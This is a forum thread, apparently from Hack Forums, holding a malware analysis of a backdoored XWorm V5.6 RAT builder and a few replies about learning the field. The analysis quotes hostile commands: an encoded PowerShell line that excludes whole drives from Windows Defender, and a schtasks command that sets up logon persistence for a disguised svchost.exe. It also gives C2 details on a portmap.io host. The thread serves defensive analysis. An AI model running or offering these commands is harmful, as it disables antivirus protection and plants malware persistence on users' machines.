

Forum:[Hack Forums](#)

Thread: [\[Malware Analysis\] XWorm V5.6 | backdoored XWorm](#)

Bastille - June 5, 2025, 5:54 am

Tool shared : XWorm V5.6 ([BroadCom Article](#))

Quote:May 21, 2024

XWorm RAT (Remote Access Trojan)

- Sold as Malware-as-a-Service (MaaS), popular in cybercrime forums & Telegram.
- Current public version: v5.6 (seen active in 2024).
- Many cracked/backdoored versions circulating.

A new v5.6 variant of the XWorm malware has been observed in the wild. The malware is distributed under the disguise of various applications, games or adult content, with the binaries spread through either online sharing repositories or via torrent downloads. XWorm has miscellaneous capabilities including keylogging, data theft, download of additional arbitrary payloads, RAT functionalities and others.

The Github repo has been removed, but I've git cloned it few days ago.

File downloaded : "XWorm V5.6 @[REDACTED].zip"

Size of the archive : 24.2MB

MD5 Hash : 76bae88272302cc6324809a89cb02a12

SHA256 Hash : 139bdaadb2ac0c6912571bd6075e1f217ce16267cbda3579ff8613d62ccafb04

VirusTotal Report :

<https://www.virustotal.com/gui/file/139bdaadb2ac0c6912571bd6075e1f217ce16267cbda3579ff8613d62ccafb04/details>

Detection : 0/65

The file is not detected as malicious mainly because it is a password-protected ZIP archive. In such cases, VirusTotal can't do much, as this is a technique frequently used by malicious actors to trick victims.

1. OVERVIEW

The zip archive contains many files, I've checked most of them, 2 DLL are flagged as malicious, the .bat file contains nothing really interesting. On VirusTotal all of these files are associated with other XWorm archive files, so they seem to be common to it.

The most interesting file : - XWorm.exe- VirusTotal report :

<https://www.virustotal.com/gui/file/f373b0c55d3c95d1483d4bcdf6e9c13098e16c024314fcd08ec00836617f039a>

In this sample, we can see several layers of .NET packers being used (dotNetProtector, Dotfuscator, Goliath, Babel, ConfuserEx, SmartAssembly).

- These packers are mostly free or easily pirated and commonly used in malware builders or by beginner threat actors.
- The goal is to achieve FUD (Fully Undetectable) in scantime by stacking multiple packers to evade static detections (YARA, AV).
- This technique is widespread in commodity malware such as stealers, RATs (like XWorm), and builders circulating in underground forums.

While effective against simple antivirus engines, this kind of multi-packing is considered basic obfuscation — advanced actors typically use custom or polymorphic packers with in-memory unpacking and anti-analysis features.

As there are many packers used and that I don't want to waste time unpacking every layer, we'll jump straight to the dynamic analysis part.

On VirusTotal, in the "Relations" tab, we can see that many files are dropped, and two of them are flagged as malicious :

- config.exe (39/78)
- RuntimeBroker.exe (37/71)

There is an encoded powershell command executed :

Code "pwsh.exe" -EncodedCommand

```
PAAjAHMAbgBhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBIAG4AYwBIACAAPAAjA  
G0AbgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUA  
bgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFMAeQBzAHQAZQBtAE  
QAcgBpAHYAZQApACAAPAAjAHYAbgB4ACMAPgAgAC0ARgBvAHIAAYwBIACAAPAAjAHoAdwBm  
ACMAPgA=
```

I've used the following website to decode : <https://www.base64decode.org/> , don't forget to choose "UTF-16LE" when you want to decode base64 encoded powershell commands, here is the decoded part :

Code `<#sna#>Add-MpPreference <#mny#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#vnx#> -Force <#zwf#>`

We can remove the content between the `< >`, it's used to trick detection tools such as YARA :

Code `Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force`

This command adds the whole disk to the exclusion path, meaning Windows Defender will not scan the dropped files.

2. DROPPED FILES

[config.exe]

Filename identified as : XWorm.exe

MD5 hash : 062213ce89d21085fbde03ea3c9a3fce

SHA2 hash : 26fb7f32baefb3e04409782a0b024feb6f8e03ad73a6630ac692a61e429c8fc9

VirusTotal Report :

<https://www.virustotal.com/gui/file/26fb7f32baefb3e04409782a0b024feb6f8e03ad73a6630ac692a61e429c8fc9>

Similar to XWorm.exe above, except that it doesn't contain the PowerShell commands that drops the payload. Sounds to be a "legit" executable, executed once the payload (RuntimeBroker.exe) has been downloaded.

[RuntimeBroker.exe]

Filename identified as : svchost.exe

MD5 hash : 920883e2c0ca8c66be07543bc0b73907

SHA2 : dafc46e46a351729b7c418cceca124c3dbdd8062bda5c314adfc7dec35f535eb

VirusTotal Report :

<https://www.virustotal.com/gui/file/dafc46e46a351729b7c418cceca124c3dbdd8062bda5c314adfc7dec35f535eb>

Packed the same way as the main XWorm.exe file and the file above.

> Scheduled Task creation detected :

Code "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr
"C: sers\Bruno\AppData\Local\Temp\svchost.exe" & exit

Connection with :

TCP 193.161.XXX.XXX:22295 (notepad-22295.portmap.io)

TCP 193.161.XXX.XXX:7777 (notepad-22295.portmap.io)

The malware establishes TCP connections to 193.161.XXX.XXX on ports 22295 and 7777.

The part in parentheses (notepad-22295.portmap.io) is a reverse DNS entry — it points to portmap.io, a dynamic port forwarding service often used by threat actors to hide their real C2 servers and bypass network restrictions.

In this case, it's likely used for C2 communication and/or a reverse shell.

As the program seems to be working, it's qualified as a Trojan

The next interesting step would be to try to remove the malicious payloads (PowerShell command and the dropped files) to see how it goes, but as the program is multi-packed I doubt it would be easy.

Bastille - June 5, 2025, 8:19 am

(Jun 5, 2025 07:49 AM)m0hx Wrote: [\[CITE\]](#) Nice job Bastille, feel free to dm me any samples u wan me to look at :D

Hey buddy, thanks ! Don't forget that we have the Hunting Board in MRT-X subforum for the samples to analyze :p

There are few threads sharing software that are interesting, especially one. I've quickly checked it

but didn't find anything, but I'm still doubtful.

HankiePankie - June 5, 2025, 8:55 am

Nice job.

I wish I could do this!!

Bastille - June 5, 2025, 8:59 am

(Jun 5, 2025 08:55 AM)HankiePankie Wrote: [\[CITE\]](#) Nice job.

I wish I could do this!!

Thanks mate ! Working on some guides for the forum. Feel free to check the analysis reports, I try to make them quite easy to understand so people can learn from them directly.

Here is the thread of all the analysis : <https://hackforums.net/showthread.php?tid=6276795>

Over time they became more complete and structured

And if you have any question about this topic or another one feel free to open a thread and ask, the forum is here for that !

HankiePankie - June 5, 2025, 9:07 am

(Jun 5, 2025 08:59 AM)Bastille Wrote: [\[CITE\]](#) Thanks mate ! Working on some guides for the forum. Feel free to check the analysis reports, I try to make them quite easy to understand so people can learn from them directly.

Here is the thread of all the analysis : <https://hackforums.net/showthread.php?tid=6276795>

Over time they became more complete and structured

And if you have any question about this topic or another one feel free to open a thread and ask, the forum is here for that !

Guides would be damn good for me/others.

Bastille - June 5, 2025, 9:24 am

(Jun 5, 2025 09:07 AM)HankiePankie Wrote: [\[CITE\]](#) Guides would be damn good for me/others. What's your objective ? What do you want to do ? What are your current knowledge / skills in this field or IT in general ?

Malware analysis is a wide field, with different levels, are you already familiar with VirusTotal ? Linux ? Do you want to work in cybersecurity ? Do you want to do malware analysis to protect yourself ? Feel free to provide details

HankiePankie - June 5, 2025, 9:27 am

Bug bounties mainly.

Small knowledge of Database Bumping/SQLi.

Used to do coding. (Python).